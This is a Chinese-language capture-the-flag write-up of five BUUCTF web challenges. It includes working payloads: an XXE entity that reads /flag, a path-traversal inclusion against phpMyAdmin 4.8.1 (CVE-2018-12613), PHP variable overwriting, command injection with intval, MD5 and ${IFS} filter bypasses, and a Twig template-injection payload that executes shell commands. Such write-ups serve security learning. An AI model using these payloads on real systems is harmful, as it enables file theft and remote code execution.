BUUCTF-WEB(41-45)
[NCTF2019]Fake XML cookbook
代码处找到
题目也提示了是xxe,我们抓包搞一下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY xxe "hack">]>
<user><username>&xxe;</username><password>123</password></user>
然后我们就读取一下这个flag
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY xxe SYSTEM "file:///flag">]>
<user><username>&xxe;</username><password>123</password></user>
成功拿下flag
[GWCTF 2019]我有一个数据库
参考:
[BUUCTF GWCTF 2019] 我有一个数据库_buuctf我有有一个数据库-CSDN博客
扫描目录有一个robots.txt
phpinfo.php
里面让我们去访问phpinfo.php
然后还有扫到phpmyadmin的目录,我们去访问一下
搜集到信息
然后搜版本号找到漏洞CVE-2018-12613phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN博客
?target=db_sql.php%253f/../../../../../../../../flag
[BJDCTF2020]Mark loves cat
参考:[BJDCTF2020]Mark loves cat | 四种解法 (新解法:强类型比较绕过) - Nestar - 博客园 (cnblogs.com)
这边看到有git泄露
我就直接githack跑了一下
但是啊,我这边githack没啥用很奇怪,什么都没提取出来
然后我就在我自己的机器上跑,没在kali了
也是皇天不负有心人,终于得到了
然后我们打开flag.php确认了flag的位置
然后就打开了index.php
看着有点变量覆盖的味道,然后exit就是die
我们看看第二个条件
就是flag不被GET,POST赋值就输出yds这个变量,但是我们又想让$yds=$flag,那我们就可以利用这个GET这个方法
如果我们GET传入的是
yds=flag
经过那个变量覆盖就是
$yds=$flag
最后输出$yds的值,也就是flag,得到flag(这个回显是在这个网页的最左下角)
更多解法,大家可以看[BJDCTF2020]Mark loves cat | 四种解法 (新解法:强类型比较绕过) - Nestar - 博客园 (cnblogs.com)
[WUSTCTF2020]朴实无华
robots.txt发现一个文件
bp抓包后发现
我这里一直乱码
我这边使用了egde浏览器,然后下了一个扩展
来显示
第一层绕过就是
科学计数法:经过本地测试,在php版本小于等于7.0.9时,intval("1e2")的结果是1,即转换字符串时,遇到字母停止,但是intval("1e2"+1)的结果却是101,这种特性可以绕过诸如intval($num)>2020&&intval($num)>2021。但是当php版本>7.0.9时,这种方法就失效了,因为intval("1e2")和intval(1e2)的值均为100。
payload如下:
num=1e4
第二层就是MD5弱比较只要本身字符串0e开头,MD5加密后还是0e开头就行
md5=0e215962017
第三层
strstr那个判断就是我们不能有空白符,我们可以用${IFS}绕过
意思就是不能用cat
我们先ls看一下文件
?num=1e4&md5=0e215962017&get_flag=ls
然后查看文件
?num=1e4&md5=0e215962017&get_flag=c''at${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[BJDCTF2020]Cookie is so stable
参考:
[buuctf-BJDCTF2020]Cookie is so stable(小宇特详解)_buuctf cookie is so stable-CSDN博客
1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)
提示就是cookie,我们拿去解密一下,MD5解密,解不出来说明我有问题
然后就是SSTI,我输入了
{{7*7}}
回显就是49,说明存在模板注入
payload:
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}